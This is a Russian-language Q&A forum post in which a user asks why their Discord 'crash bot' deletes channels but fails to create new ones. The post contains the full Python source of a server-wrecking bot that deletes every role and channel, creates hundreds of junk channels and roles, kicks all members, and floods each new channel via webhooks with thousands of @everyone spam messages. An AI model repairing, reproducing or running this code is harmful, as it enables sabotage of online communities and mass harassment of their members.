@Kurokava

У меня есть краш бот. он удаляет каналы, но новые создавать отказывается. в чём проблема?

import discord
from discord.ext import commands
from discord import Permissions
import asyncio
import os
import discord, random, aiohttp, asyncio
from threading import Thread

intents = discord.Intents.default()
intents.members = True

bot = commands.Bot(command_prefix='!',intents=intents)

# bot.removecommand("help")

@bot.command()
async def rez(ctx):
guild = ctx.message.guild
# with open('krasivoe-foto-galaktiki-iz-kosmosa.jpg',) as f:
# icon = f.read()
# await guild.edit(name="Crash By HACKER BOT", icon=icon)

await ctx.message.delete()

for m in ctx.guild.roles:
try:
await m.delete(reason="Краш сервера")
except:
pass

for channel in ctx.guild.channels: # собираем
try:
await channel.delete(reason="Краш сервера") # удаляем
except:
pass

for i in range(300):
await guild.create_textchannel('переезд')

for j in range(300):
await guild.create_role(name='участник')

for m in ctx.guild.members:
try:
await m.kick(reason="Краш сервера")
except:
pass

@bot.event
async def on_guild_channel_create(channel):
webhook = await channel.create_webhook(name = "Переезд")
webhook_url = webhook.url
async with aiohttp.ClientSession() as session:
webhook = discord.Webhook.from_url(str(webhook_url), adapter=discord.AsyncWebhookAdapter(session))
for i in range(10000):
try:
await webhook.send("@everyone\nПереезд на https://discord.gg/eogalactic%22)
except:
pass
token = 'токен'
bot.run(token)
  • Вопрос задан
  • 233 просмотра
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы
19 апр. 2024, в 03:52
1000 руб./за проект
19 апр. 2024, в 03:01
1000 руб./за проект
18 апр. 2024, в 21:56
2000 руб./за проект